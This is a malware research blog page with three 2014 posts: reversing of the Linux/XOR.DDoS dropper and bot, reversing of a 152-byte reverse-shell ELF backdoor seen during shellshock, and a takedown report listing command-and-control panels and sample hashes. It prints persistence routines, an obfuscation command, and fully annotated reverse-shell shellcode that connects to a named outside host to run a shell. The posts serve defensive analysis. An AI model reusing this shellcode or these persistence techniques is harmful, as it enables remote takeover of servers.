Monday, September 29, 2014

MMD-0028-2014 - Linux/XOR.DDoS : Fuzzy reversing a new China ELF

Sticky note: The latest incident (MMD-0033-2015) we disclosed on ELF Linux/XOR.DDoS malware is here -->[LINK]

This research is detected & solved by a hard work of MMD members. Credits are in the bottom of the post.
The case is on and malware infrastructure is mostly up & alive, we don't want to be too details in writing because of that reason, we don't want to teach this crook of what they're lacking of by this post, yet this post necessary to raise awareness of this new emerged threat. Feel free to follow the process at will.

The infection

During the rush of #shellshock we saw another new threat emerged. We saw an attack log of one-liner shell script being injected via ssh connection. By the attack source+CNC IP and the payload, this looks like a China crook's new hack scheme to spread new ELF DDoS'er threat. This is spotted silently spread during the ‪#‎shellshock waves, noted: it was NOT using #shellshock exploit itself.

The details of the attacker's trace in one-liner shell command is as per shown below:

If we beautified it as per below we will see the obfuscation this shell script:

↑the marked mark is the point of all these code, to download the file 3502.rar from some defined host addresses.

The mentioned RAR file itself is actually a shell script too:

You can read the codes here, no free ride copy/paste this time, since we have hard times with those false positives from antiviruses

The main() function is explaining how this script works, read the comments we made (in purple colored words):

Shortly. The blue color explaining the obfuscation strings saved in some variables. The yellow marked color words are functions to be executed, and the red color area is the main function of this script, to download and install a payload.

The obfuscation used is in the enc() and dec() function (see that big pic codes) for encryption and decryption, by using the below code (I picked this one, the one used for decrypting)

tr "[.0-9a-zA-Z\/\/\:]" "[a-zA-Z0-9\;-=+*\/]";
They called it encryption, but is just a mere obfuscator using the character map translation in "tr". Below is the easy shell script I made to decode them:

Below is the result:

We'll see another 3502 file. And a bunch of the CNC used. Noted the username and password they use ;)

If you permutated the URL with the payload name you will some ALIVE malware URLs like these:

What is this thing? In short: It's a sophisticated & well-thought ELF malware infection scheme, aiming Linux in multiple platform. It downloads, detect all parameter need to download the payload or source code of payload. It detected infected host's architecture, compiler. libraries together with sending sensitive information of the host, sent request to CNC to download the certain bins or to download resources to hack and then install the ELF binary.

The POC of this hack is the payload below:

The payload

The header looks very "fine":

ELF Header:
  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
  Class:                             ELF32
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Intel 80386
  Version:                           0x1
  Entry point address:               0x8048110
First block:

Various analysis can resulted to the payload was coded in C, hmm..a quality up, we have a challenger here :) A new DDoS'er made in China. Here's the codes (for future reference):

'crtstuff.c'
'autorun.c'
'crc32.c'
'encrypt.c'
'execpacket.c'
'buildnet.c'
'hide.c'
'http.c'
'kill.c'
'main.c'
'proc.c'
'socket.c'
'tcp.c'
'thread.c'
'findip.c'
'dns.c'  
Some pointers for characteristic:

Self copy:

// create file for self-copy
open("/boot/[a-z]{10}", O_WRONLY|O_CREAT, 0400)
open("/boot/[a-z]{10}", O_WRONLY)

//chmod 755
chmod("/boot/[a-z]{10}", 0750)

// start to write..
open("/boot/[a-z]{10}", O_RDONLY)
Auto start:
// install SYS

.text:0x8048B2E   mov     dword ptr [esp], offset aSbinInsmod <== "/sbin/insmod"
.text:0x8048B35   call    LinuxExec_Argv
.text:0x8048B3A   mov     dword ptr [esp], 2
.text:0x8048B41   call    sleep

// xinetd setup..

.text:0x8048852   call    abstract_file_name
.text:0x8048857   mov     [ebp+var_8], eax
.text:0x804885A   mov     eax, [ebp+arg_0]
.text:0x804885D   mov     [esp+0Ch], eax
.text:0x8048861   mov     dword ptr [esp+8], offset aBinShS <== "#!/bin/sh\n%s\n"
.text:0x8048869   mov     dword ptr [esp+4], 400h
.text:0x8048871   lea     eax, [ebp+newpath]
.text:0x8048877   mov     [esp], eax
.text:0x804887A   call    snprintf
   :
.text:0x804887F   mov     eax, [ebp+var_8]
.text:0x8048882   mov     [esp+0Ch], eax
.text:0x8048886   mov     dword ptr [esp+8], offset aEtcInit_dS <== "/etc/init.d/%s"
.text:0x804888E   mov     dword ptr [esp+4], 400h
.text:0x8048896   lea     eax, [ebp+filename]
.text:0x804889C   mov     [esp], eax
.text:0x804889F   call    snprintf
.text:0x80488A4   mov     dword ptr [esp+4], offset aW <== "w"
.text:0x80488AC   lea     eax, [ebp+filename]
.text:0x80488B2   mov     [esp], eax
.text:0x80488B5   call    fopen
   :
.text:0x8048980   mov     dword ptr [esp+8], offset aEtcRcD_dS90S <== "/etc/rc%d.d/S90%s"
.text:0x8048988   mov     dword ptr [esp+4], 400h
.text:0x8048990   lea     eax, [ebp+newpath]
.text:0x8048996   mov     [esp], eax
.text:0x8048999   call    "snprintf"
.text:0x804899E   lea     eax, [ebp+newpath]  // assemble flag component for file attribs
.text:0x80489A4   mov     [esp], eax      <== "filename"
.text:0x80489A7   call    "unlink"
.text:0x80489AC   lea     eax, [ebp+newpath]
.text:0x80489B2   mov     [esp+4], eax    <== "newpath"
.text:0x80489B6   lea     eax, [ebp+filename]
.text:0x80489BC   mov     [esp], eax      <== "oldpath"
.text:0x80489BF   call    "symlink"
.text:0x80489C4   cmp     [ebp+var_C], 0
.text:0x80489C8   jnz     short loc_80489E8
.text:0x80489CA   mov     dword ptr [esp+8], 0AD1473B8h <== "group"
.text:0x80489D2   mov     dword ptr [esp+4], 0AD1473B8h <== "owner"
.text:0x80489DA   lea     eax, [ebp+filename]
.text:0x80489E0   mov     [esp], eax      <== "filename"
.text:0x80489E3   call    "lchown"
Malicious environment setup (i.e. export cmd):
0x06988C   HOME=/
0x069893   HISTFILE=/dev/null
0x0698A6   MYSQL_HISTFILE=/dev/null
0x0698C0   PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

Encryption:

There are some encryption to be decrypted in this malware, that I tested as per below, that looks having xor pattern:

// checking decryptor...

.text:0x804CB63   mov   dword ptr [esp+4], offset aM_Nfr7nlqqgf_0
.text:0x804CB6B   lea   eax, [ebp+filename]
.text:0x804CB71   mov   [esp], eax
.text:0x804CB74   call  dec_conf           // decrypting function..
.text:0x804CB79   mov   dword ptr [esp+8], 0Ch // <== break it here..

Breakpoint 1, 0x0804cb79 in main ()
query offset aM_Nfr7nlqqgf_0: "m.[$nFR$7nLQQGF"
query register: $esp
0xffffa1b0:  "[\305\377\377\343\033\v\b\020"
;-----------------------
.text:0x804CB81   mov    dword ptr [esp+4], offset aM_Nfr7n9_0
.text:0x804CB89   lea    eax, [ebp+var_114D]
.text:0x804CB8F   mov    [esp], eax
.text:0x804CB92   call   dec_conf

Breakpoint 2, 0x0804cb9 in main ()
query offset aM_Nfr7n9_0: "m.[$nFR$7n9"
query register: $esp
0xffffa1b0:  "[\304\377\377\363\033\v\b\f"
;-----------------------
.text:0x804CBBD   mov    dword ptr [esp+4], offset aM4s4nacNa ; "m4S4nAC/nA"
.text:0x804CBC5   lea    eax, [ebp+var_E4D]
.text:0x804CBCB   mov    [esp], eax
.text:0x804CBCE   call   dec_conf
.text:0x804CBD3   mov    [ebp+var_34], 0

Breakpoint 3, 0x0804cbd3 in main ()
query offset aM4s4nacNa ; "m4S4nAC/nA"
query register: $esp
0xffffa1b0:  "[\307\377\377#\034\v\b\v"
Here is the xor used as the component logic for the decryption function:

With the key that lead to this address:

It "looks like" the author is having "interesting" way to remind him the XOR key itself, I don't investigate this further since I had the goal..

A hard-coded callback IP address

And look what I got next to the xor key :))

So now we know the CNC is too ;)

IP: 103.25.9.228||59270 | 103.25.9.0/24 | CLOUD 
Country: "HK | CLOUDRELY.COM" |CLOUD RELY LIMITED

The bummer part of this malware is, it crashed itself when run under limited permission...

"msec   calls "
-----------------------------------------------------------------------
(120): execve("./SAMPLE-MALWARE", ["./SAMPLE-MALWARE"], ["SHELL=etc..])
(125): set_thread_area(0xffc8373c)
(126): set_tid_address(0x92e6888)
(127): set_robust_list(0x92e6890, 0xc)
(128): futex(0xffc83a04, FUTEX_WAKE_PRIVATE, 1)
(129): rt_sigaction(SIGRTMIN, {0x8053860, [], SA_SIGINFO}, NULL, 8)
(130): rt_sigaction(SIGRT_1, {0x8053780, [], SA_RESTART|SA_SIGINFO}, NULL, 8)
(131): rt_sigprocmask(SIG_UNBLOCK, [RTMIN RT_1], NULL, 8)
(132): getrlimit(RLIMIT_STACK,etc)
(133): uname({sysname="Linux", nodename="mmd", release="mmd-amd64", 
             version="#1 SMP mmd-7u1", machine="saever-momma"})
(142): readlink("/proc/self/exe", "/home/mmd/test/SAMPLE-MALWARE", 1023)
(143): clone(Process)
(145): exit_group(0)
(146): [pid new] setsid()
(147): open("/dev/null", O_RDWR)
(148): fstat64(3, {st_dev=makedev] etc) 
(149): dup2(3, 0)
(150): dup2(3, 1)
(151): dup2(3, 2)
(152): close(3)
(153): readlink("/proc/self/exe", "/home/mmd/test/SAMPLE-MALWARE", 1023) = 20
(154): stat64("/boot" etc)
(155): stat64("/lib", etc)
(156): stat64("/lib/udev" etc)
(157): stat64("/var", etc)
(158): stat64("/var/run", etc)
(159): gettimeofday({1411989055, 135168}, NULL) 
(160): readlink("/proc/self/exe", "/home/mmd/test/SAMPLE-MALWARE", 1023) 
(161): unlink("/lib/udev/udev") 
(162): open("/home/mmd/test/SAMPLE-MALWARE", O_RDONLY)
(163): open("/lib/udev/udev", O_WRONLY|O_CREAT, 0400)
(165): open("/home/mmd/test/SAMPLE-MALWARE", O_RDONLY)
(166): open("/boot/[a-z]{10}", O_WRONLY|O_CREAT, 0400)
(168): open("/boot/[a-z]{10}", O_WRONLY)
(169): clone(Process attached
(171): waitpid(Process suspended
(173): clone(Process attached
(175): exit_group(0)
(179): rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8)
(180): rt_sigaction(SIGCHLD, NULL, {SIG_IGN, [CHLD], SA_RESTART}, 8)
(181): nanosleep({1, 0},..
(192): chmod("/boot/[a-z]{10}", 0750)
(193): open("/boot/[a-z]{10}", O_RDONLY)
(194): "--- SIGSEGV (Segmentation fault) @ 0 (0)" --- ref: [a-z]{10}
(197): "rt_sigprocmask(SIG_SETMASK, [], NULL, 8)"
It saves the file in /boot with this regex: [a-z]{10}

What is the purpose of this malware?

The first is backdoor, and then, obviously DoS (SYN, UDP, TCP flood), using encrypted (temporary) config. Below is the PoC of the DDoS function names:

0x09305E   build_syn // SYN Flood
0x0950D0   build_tcphdr // TCP Flood
0x097101   build_udphdr // UDP FLood
And below is part of backdoor operation using HTTP/1.1 GET (to download / update) and callback in HTTP/1.1 POST:
.text:0x804A917   mov   dword ptr [esp+8], offset aPostSHttp1_1Sh
                        value: "POST %s HTTP/1.1\r\n%sHost: %s\r\nContent-T"
.text:0x804AB1D   mov   dword ptr [esp+8], offset aGetSHttp1_1Sho
                        value: "GET %s HTTP/1.1\r\n%sHost: %s\r\n%s"
Based on the code it looks like using AES.DDoS'er and IptabLes strategy to install, but the source are different. So, this is another new China DDoS'er, I call this as Linux/XOR.DDoS.

Virus Total and sample

Virus total detection is below (click the image to access..) One of 55 is a bad detection..

Sample is shared in kernel mode-->[here]

Conclusion & Credits

This threat is the first time we see using complicated installer/builder. I and other team mates start to feel like playing CTF with this crook. They (China actors) are improving in steps, we must be aware. Please stay safe folks..

Credit: @shibumi (threat sensoring), @wirehack7 (formulation), and others who doesn't want to be mentioned.

Additional

(A reserved section for additional and updates)

#MalwareMustDie!!

Friday, September 26, 2014

MMD-0027-2014 - Linux/Bashdoor(GafGyt) & Small ELF Backdoor at shellshock

Background: CVE-2014-6271 + CVE-2014-7169

During the mayhem of bash 0day remote execution vulnerability CVE-2014-6271 and CVE-2014-7169, I happened to be the first who reversed for the first ELF malware spotted used in the wild. The rough disassembly analysis and summary I wrote and posted in Virus Total & Kernel Mode here as proof, it's known now as bashlite, I was calling this Linux/bashdoor, to then knowing the real malware name as Lizard Kebab (LizKebab) aka Torlus aka GafGyt aka Qbot, see the date as PoC--> [-1-] [-2-] < Noted: thanks to Yinettesys (credit) (the credit is all for her for links to find this malware, for the swift sensoring & alert, and thanks for analysis request, we won't aware of these that fast w/o her).

Some antivirus is naming this malware after as Bashlite.

But..the fun has only just begun.. The story of a small (152bytes) ELF backdoor

Yes. Today I was informed there is another payload distributed,:

Which leads to this malicious ELF file served online:

Do the pure reversing..

This ELF "malware" is very small, 152 bytes, and is working simple and straight to the point, it aims vulnerable bash for RCE on Intel servers in IDCs, it opens socket to remote host on a certain TCP/port while parsing the received data (via socket) to the "/bin//sh" upon connected, yes, it is a remote shell backdoor, or known as term backconnect, small because obviously was coded with ASM & and compiled ala shellcode built in GCC that often used for exploitation purpose.

For your conveniences, I wrote my disassembly & reversing scratch of all malware bits below in comments, for all of us to see how this malicious code works to mitigate this in the future:

0x08048054 | 31db       | xor ebx, ebx     ; nulling ebx by xor
0x08048056 | f7e3       | mul ebx          ; nulling ebx by mul
0x08048058 | 53         | push ebx         ; push 0 to stack ; from ebx=0x0 (nulled) < IPPROTO_IP
0x08048059 | 43         | inc ebx          ; ebx = 0x1 ; socketcall number 1 = sys_socket
0x0804805a | 53         | push ebx         ; push 1 to stack < AF_INET
0x0804805b | 6a02       | push 0x2         ; push 2 to stack < SOCK_STREAM
0x0804805d | 89e1       | mov ecx, esp     ; set pointer to arguments array
0x0804805f | b066       | mov al, 0x66     ; syscall number 0x66 sys_socketcall
0x08048061 | cd80       | int 0x80         ; Svc_0; sys_socketcall ; sys_socket
0x08048063 | 93         | xchg ebx, eax    ; socketfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
0x08048064 | 59         | pop ecx          
LABEL_loop_to_clear_dup_result_to_zero: 
0x08048065 | b03f       | mov al, 0x3f     ; syscall number 0x3f sys_dup2
0x08048067 | cd80       | int 0x80         ; Svc_0 ; sys_dup2
0x08048069 | 49         | dec ecx          ; counter for dup loop, 3 to 0 ; to null the socket() register result, reconnecting by duplicating the call
0x0804806a | 79f9       | jns 0x108048065  ; GOTO loop_to_clear_dup_result_to_zero:
0x0804806c | 681b139fe0 | push 0xe09f131b  ; backward: 1B139FE0 = 27.19.159.224 < c2_struct.sin_addr
0x08048071 | 68020011c1 | push 0xc1110002  ; 0x11c1 = 4545 < sin_port ; 0x02 = 2 < c2_struct.sa_family=AF_INET
0x08048076 | 89e1       | mov ecx, esp     ; set pointer for *c2_struct
                                            {sa_family=AF_INET, sin_port=htons(4545), sin_addr=inet_addr("27.19.159.224")}
0x08048078 | b066       | mov al, 0x66     ; syscall number 0x66 sys_socketcall
0x0804807a | 50         | push eax         ; push al=0x66 to stack (to invoke sys_connect)
0x0804807b | 51         | push ecx         ; push *c2_struct pointer (hold by ecx)
0x0804807c | 53         | push ebx         ; push *socketfd pointer to stack (hold by ebx)
0x0804807d | b303       | mov bl, 0x3      ; socketcall number = 3 ; sys_connect
0x0804807f | 89e1       | mov ecx, esp     ; set pointer to args array (for sys_connect)
0x08048081 | cd80       | int 0x80         ; Svc_0 ; sys_socketcall => sys_connect
0x08048083 | 52         | push edx         ; push null (for string termination)
0x08048084 | 682f2f7368 | push 0x68732f2f  ; push string 'hs//' (backward) to stack
0x08048089 | 682f62696e | push 0x6e69622f  ; push string 'nib/' to stack
0x0804808e | 89e3       | mov ebx, esp     ; set pointer addr of "/bin//sh" into ebx from esp
0x08048090 | 52         | push edx         ; push null (for string termination)
0x08048091 | 53         | push ebx         ; push stack up
0x08048092 | 89e1       | mov ecx, esp     ; set pointer to arg (array of strings fron sys_connect) => exev_arg
0x08048094 | b00b       | mov al, 0xb      ; syscall number 0x0b sys_execve
0x08048096 | cd80       | int 0x80         ; Svc_0 ; sys_socketcall => sys_execve("/bin//sh", ["/bin//sh", exec_arg],[NULL])
;(c) reverse engineering original work of @unixfreaxjp, posted first in blog.malwaremustdie.org

↑this is all to find out it back-connects to ip 27.19.159.224 in port 4545 & to execute sent argument by execution in shell via "/bin//sh" from that host in the designated IP address. I think I saw this a lot as in shellcode, was used in about a lot in incidents between 2010 to 2012..

Just in case you want to see how I reversed it, here's the cool tool to breakdown the opcode: (guess.. what tool is it?? *smile)

To confirm the the reversing ones can emulate its operation to have the result as per below, this is how the forensics will appear in system call level:

socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
dup2(3, 2)                              = 2
dup2(3, 1)                              = 1
dup2(3, 0)                              = 0
connect(3, {sa_family=AF_INET, sin_port=htons(4545), sin_addr=inet_addr("27.19.159.224")

As per coded above, the sys_dup2 syscall has been executed 3 times on a loop for counting down the socket's result or socketfd in my assembly comment code (or sockfd) to zero. The rest it is obvious and self-explanatory as per written above.

So now reversing is confirmed, but we still want to know more how this works, but stillthere is too few artifacts to seek, so the next step is to find more forensics artifacts, by simulating what will happen if this malicious ELF is executed in the list of files form..

fu4k   12467   mmd    0u     IPv4       243888042   0t0    TCP mmd:33787->27.19.159.224:4545 (SYN_SENT)
fu4k   12467   mmd    1u     IPv4       243888042   0t0    TCP mmd:33787->27.19.159.224:4545 (SYN_SENT)
fu4k   12467   mmd    2u     IPv4       243888042   0t0    TCP mmd:33787->27.19.159.224:4545 (SYN_SENT)
fu4k   12467   mmd    3u     unix 0xffff88018aad94c0   0t0 243884464 socket
fu4k   12467   mmd    4u     unix 0xffff88018aad8e40   0t0 243884465 socket
fu4k   12467   mmd    5u     unix 0xffff88018aad8e40   0t0 243884465 socket
fu4k   12467   mmd    6r     FIFO          0,8   0t0 243884466 pipe
fu4k   12467   mmd    7w     FIFO          0,8   0t0 243884466 pipe
fu4k   12467   mmd    8u     IPv4       243888042   0t0    TCP mmd:33787->27.19.159.224:4545 (SYN_SENT)

We can see that in a process under one workspace in the memory, the connection via socket was duplicated three times to (re-)connect to the remote IP, instead of a single attempt, so we have like 4 (four) attempt to reconnect. It is a small nasty thing isn't it?

So now we all know clearly how this backconnect scheme is actually working and not guessing anything.

For OSINT. This is the CNC IP source:

IP: "27.19.159.224"
ASN: "4134"
CIDR: "27.16.0.0/12"
Code: "CHINANET"
Contry: "CN"
ISP: "CHINATELECOM.COM.CN"
AREA: "CHINANET HUBEI PROVINCE NETWORK"

Detection ratio

As always for a new ELF malware found.. AV detection was ZERO (FUD/FullyUnDetected):

Sample is (always) shared

I am sharing the sample in virustotal [link], and was sharing this to the kernelmode site as new malware with name "Linux/binsh".

Epilogue

So we have "another" crook start playing with ELF hacks for spying purpose on shellshock too :-)

Thank you

Thank you to IT media article who directly mentioned and linked to us:

http://www.ehackingnews.com/2014/09/shellshock-bash-bug.html
http://www.zdnet.com/hackers-jump-on-the-shellshock-bash-bandwagon-7000034095/
http://www.csoonline.com/article/2687958/application-security/shellshock-bash-vulnerability-being-exploited-in-the-wild-red-hat-says-patch-incomplete.html
http://www.version2.dk/artikel/botnets-kaster-sig-over-kritisk-shellshock-saarbarhed-shanghaje-linux-servere-68791
http://www.solidot.org/story?sid=41294
http://www.bkjia.com/xtaq/885386.html

Thank you to the IT media article who mentioned our work:

http://www.newsfactor.com/story.xhtml?story_id=94303
http://linux.cn/article-3909-1.html
http://newsbiz.yahoo.co.jp/detail?a=20140926-35054302-cnetj-nb
http://japan.zdnet.com/security/analysis/35054302/
http://www.zdnet.co.kr/news/news_view.asp?artice_id=20140926101159
http://www.zdnet.de/88206884/apple-mehrheit-der-mac-nutzer-ist-von-bash-luecke-nicht-betroffen/
http://www.cnet.de/88137503/bash-bug-exploit-code-fuer-shellshock-luecke-entdeckt/
http://www.zdnet.de/88206816/ersten-angriff-auf-bash-luecke-linux-und-unix-entdeckt/
http://www.silicon.de/41604047/shellshock-erste-angriffe-auf-linux-leck/
http://www.baomoi.com/Phat-hien-nhung-tan-cong-dau-tien-loi-dung-lo-hong-Bash/76/14901865.epi
http://www.downloadblog.it/post/116264/shellshock-primi-attacchi-col-bug-nella-bash-di-linux
http://ictnews.vn/cntt/bao-mat/phat-hien-nhung-tan-cong-dau-tien-loi-dung-lo-hong-bash-119952.ict
http://codigofonte.uol.com.br/noticias/primeiros-ataques-usando-bug-bash-sao-descobertos/19514

Thank you for blog and commments links:

http://contagiodump.blogspot.com.es/2014/10/shellshock-payload-sample-linuxbashlet.html
http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3506
http://habrahabr.ru/company/eset/blog/238257/
http://blog.0day.jp/2014/09/bash-0dayreal-time.html

Stay safe..there will be more of these.. #MalwareMustDie!

Monday, September 15, 2014

Tango down report of OP China ELF DDoS'er

This report is credited to the team work between MMD, CERT and fellow researchers involved.

Tango OP Announcement:

We are releasing the take-down (Tango OP) project information of our current on-going operation against the ELF DDoS malware, the threat with origin from China.

The threat is verdicted to be originated from China based on:

1. The source binary data contains China specific details
2. Attacker IP address during attempt to infect are mostly (98%) originated from China network
3. Panels served by ELF malware be downloaded during infection, are located in China network (98%)
4. CNC server used for downloading config or used for remote attack (92%)

The distributed malware are separated into 3 categories:
1. "Elknot" variants, technical information: --> [link]
2. "AES.DDoS", technical information: --> [link]
3. ".IptabLes|x", technical information: --> [link]
4. "BillGates", technical information: --> [link]

5. (NEW) "GoARM.Bot", technical information: --> [link]
6. "XOR.DDoS", technical information: --> [link]

The malware analyzed was compiled with aiming NIX base routers/servers, with these OS & CPU architectures:
1. Intel x32 (Linux / FreeBSD)
2. Intel x64 (Linux / FreeBSD)
3. AMD x64 (Linux)
3. ARM (Linux)
4. MIPS (Linux)
5. (NEW) PPC (Linux)

(NEW) The Windows version of the same DDoSer was started to be detected in Mid October 2014.
Samples: [-1-] [-2-]

PoC, Evidence & Samples

We have some video recorded as hard evidence of the attack in progress as per listed in the links below:
1. https://www.youtube.com/watch?v=JjtOUto9Sr8
2. https://www.youtube.com/watch?v=z6MdtFck6x4
3. https://www.youtube.com/watch?v=sdKCjbrs5uQ
4. https://www.youtube.com/watch?v=YtxaT1rahY8
5. https://www.youtube.com/watch?v=OcOiuxAtbOk

We also posted three awareness , for the detail analysis of this threat:
1. May 2014 [link]
2. June 2014 [link]
3. Sept 2014 [link]

View of some download panel video & pictures for evidence:


Thank you @300trg for fixing the 5th picture↑

Video as PoC of the many alive panels exists:

Video as PoC of how DDoS ELF malware placed in their "panels" are downloaded during an ssh hacked session of a NIX OS base machine:

Illustration of "Volume & Combination" in its distribution

In a panel served with ELF malware, China DDoS'er crooks is distributing quite big amount of downloads (even we are assuming 70% downloads are for infection), as per seen in one panel snapshot picture below:

In a panel we often spotted the China crook is mixing the type of malware, as per seen in the PoC below:

Mixing samples PoC:

Recent ELF samples we collected & analyzed for the past one month:
(there are a lot more than these..and these are still coming)

https://www.virustotal.com/en/file/276b2bb1bb19e7b81e7656a6c411a094952592f77948151d43d460907e9702de/analysis/
https://www.virustotal.com/en/file/cb4aa1bc0a65771b7a23afc99d559a9943ebe06901b6ba37fcf563c64f28a872/analysis/
https://www.virustotal.com/en/file/586c2afdedef5e2ff0298b6bb5d8e11d847d35e86b2be56b437a35227643fb58/analysis/
https://www.virustotal.com/en/file/bfdad0437c12ccfb2b5406f902bcae0856c716a6f8b6c3b5e925a48e12ca51ec/analysis/
https://www.virustotal.com/en/file/afece0410779068b43c122008dad83af98a6a20e37f4414a99587ebc0f9f13d1/analysis/
https://www.virustotal.com/en/file/daccf72b00939ef0f14eb19b2a9cf73a61514a4c86d28369886634644fb0159d/analysis/
https://www.virustotal.com/en/file/77100c8e3ec940af6336bf5a8772057ed1a052658f0af5e6bb4a0f853ebb7a82/analysis/
https://www.virustotal.com/en/file/9d43b31bc47a4fff65ab5156e2fc348bf36451d58d00850a1f3c21e2d696910b/analysis/
https://www.virustotal.com/en/file/e27571a89dfbb256bdf2aa7ff0a062bd10bd712c46d7ddc045a8ac85c4903c2f/analysis/
https://www.virustotal.com/en/file/c1014f0ff0efc018e28300c2296459948489bd5d22633a0af1ca6ffb0c2336fe/analysis/
https://www.virustotal.com/en/file/3f50c0f70e3eb2debf77ba7626e9c358d7ed02d57ee6da375c0b507006df3da5/analysis/
https://www.virustotal.com/en/file/393ac47184475af099eafce91d7472ea5af1d74636a992cc08bf40872d22fa4a/analysis/
https://www.virustotal.com/en/file/3f50c0f70e3eb2debf77ba7626e9c358d7ed02d57ee6da375c0b507006df3da5/analysis/
https://www.virustotal.com/en/file/393ac47184475af099eafce91d7472ea5af1d74636a992cc08bf40872d22fa4a/analysis/
https://www.virustotal.com/en/file/b81cc1f3d87fe5eddb8dec8140f0f255697a58284882d9edc4e8d636b75772c3/analysis/
https://www.virustotal.com/en/file/6dd946e821df59705dcfeb79fab810336d0ee497fd715fb5b6711e05c0428f4d/analysis/
https://www.virustotal.com/en/file/9746054219bfa20e0bf55a066acd447a8878913d4b857057729a579cb1a078b3/analysis/
https://www.virustotal.com/en/file/8fa44a7b3eb707f584b223792bdb78b1e5f69a40dba20634094077c2f0287bca/analysis/
https://www.virustotal.com/en/file/d2b3ce2195b1422c165faeb1fbbdd098f13df6cf6595fb18f8d618cd78df597c/analysis/
https://www.virustotal.com/en/file/bb4786695774ae7777200a78e56db83ad5d5bdf1c1b84ef86dd796f7c9a3e1b4/analysis/
https://www.virustotal.com/en/file/406074b1c168602163a8c246f88ae9914f54ceacc47ec7fa0d8d3116e35374be/analysis/
https://www.virustotal.com/en/file/393ea466d635ea97150ca4bc52b6de7c47da2e7bffae28248b388523141a1cc8/analysis/
https://www.virustotal.com/en/file/470dbcc291008e183e46a81ce84aff1f90131f5a3d1fb30caf885769748d981e/analysis/
https://www.virustotal.com/en/file/661233de0cd229dbcbe37c06c2a6c86e1dbc081072e03c3207c00c6ce19aa57c/analysis/
https://www.virustotal.com/en/file/96aad20e56a59389117609aa192fc1771e105741e2e04664de56ecc1545a4c8a/analysis/
https://www.virustotal.com/en/file/223f66e52e84cfa21ae94053152e015f652894f77d129b3b738bb4937cfc857d/analysis/
https://www.virustotal.com/en/file/701ea25c01212e6f21ffbf5e60214a441558825ec9b86159e19b1f9576962e86/analysis/
https://www.virustotal.com/en/file/0383b323737e02f2e39a9ade6539432f7bb17ebb79fd809510a8ea1102963a0d/analysis/
https://www.virustotal.com/en/file/18ee96df892b632073d1d6ecc3c339dd120e66411c15eff176efcf2c1728cfc7/analysis/
https://www.virustotal.com/en/file/dc2b6a4d1e1f4014f0f9c3fb13908a3f46f9cb6a01a51f6447f9e85d3d1abcfe/analysis/
https://www.virustotal.com/en/file/5e3aea8e7f297685ddca0fadf9503d350d78be6f0bca700dc79fccc2ac9f925d/analysis/
https://www.virustotal.com/en/file/f5e7ba8d7b40415c7cbb8f45177deb5daffc2450c9f64d0e5c2ed65b9d9d7d55/analysis/
https://www.virustotal.com/en/file/d86a12974631e8711b9bce8fdf1f1fd4775f741461274005b2362647f17a63c6/analysis/
[..]

Tango down result so far of the China ELF DDoS'er download panels:

'h00p:/222.76. 210.140:81
h00p://122.94. 40.23:38384
h00p://60.173. 10.184:8080
h00p://122.142. 161.163:8080
h00p://125.46. 53.155:1996
h00p://183.60. 197.240:8181 
h00p://112.117. 223.10:280
h00p://23.95.28. 228:8080
h00p://61.164. 145.100:89
h00p://108.171. 200.16:3100
h00p://183.56. 173.44:281
h00p://112.117. 223.10:789
h00p://61.147. 103.21:8080
h00p://218.25. 36.220:630
h00p://183.60. 197.240:8181
h00p://120.210. 204.102:999
h00p://174. 139.20.66:10080/
h00p://119. 90.135.206/
h00p://183. 60.142.173:523
h00p://183. 60.149.199:8081
h00p://183. 60.202.61:8088 
h00p://183. 56.173.44:281
h00p://162. 221.12.193:68
h00p://218. 28.116.248
h00p://108. 171. 200.16:3100           
h00p://183.60. 197.240:8181
h00p://199.192. 158.36:888
h00p://218.6.12. 157:8023
h00p://182.254. 168.157:4343
h00p://110.80. 129.134:999/
h00p://183.60. 202.91:2013/
h00p://182.254. 168.157:4343/
h00p://182. 254.180.241:2015/
h00p://219. 235.8.29:2015/
h00p://104.194.6.138:110/
h00p://121.127.241.55:8081/
h00p://183. 60.202.209:44435/
h00p://218.84. 198.37:10042/
h00p://114.215. 140.230:55/1231
h00p://183.60. 109.78:45852/
h00p://222. 186.30.239:999/
h00p://61. 36.33.225:81/
h00p://115. 29.165.174:38886/
h00p://111. 73.45.198:5888/
h00p://121. 40.85.20:8686/
h00p://199. 83.94.82:1991/
h00p://222. 186.34.152/
h00p://121. 42.12.57:8081/
h00p://117. 41.229.139:24/
h00p://119. 97.184.42:9999/
h00p://192. 169.219.22:280/
h00p://222. 186.56.33:33123/
h00p://118. 123.119.14 :4743/
h00p://115. 28.6.74 :8084/
h00p://23. 245.205.38 :8452/
h00p://119. 97.184.42 :9999/           
h00p://a1285858501.f3322.org:8889/ 'OP Chopsticks'
h00p://192.169.219.22:280/
h00p://222.186.42.31:7019/
h00p://183.136.214.14:12345/
h00p://183.60.202.58:5147/
h00p://124.173.118.167:41235/
h00p://222.186.58.146:81/
h00p://183.60.202.58:5147/
h00p://222.186.58.146:81/
h00p://118.123.119.14:3543/
h00p://116.255.162.80:3322/
h00p://104.194.25.172/
h00p://218.244.148.150:24/
h00p://104.194.25.176:8080/
h00p://www.qiuwo.net/
h00p://www11359ui.sakura.ne.jp/
h00p://104.194.11.72:8080/
h00p://222.186.34.210:5487/
h00p://222.186.34.123:123/
h00p://118.244.150.49:8889/
h00p://58.53.128.71:4567/
h00p://221.194.44.197:8080/
h00p://183.60.149.194:801/
h00p://58.53.128.71:4567/
h00p://60.173.9.144:8088/
h00p://60.173.9.43:8088/
h00p://199.168.100.72:831/
h00p://125.93.53.218:8888/
h00p://123.249.33.21:1996/        '

Detail network information for the origin of ELF malware panel addresses above:

222.76.210.140||4134 | 222.76.0.0/14 | CHINANET | CN | - | XIAMEN TELECOM IDC
122.94.40.23||9394 | 122.94.0.0/16 | CTTNET | CN | CHINATIETONG.COM | CHINA TIETONG TELECOMMUNICATIONS CORPORATION
60.173.10.184||4134 | 60.168.0.0/13 | CHINANET | CN | CHINATELECOM.COM.CN | CHINANET ANHUI PROVINCE NETWORK
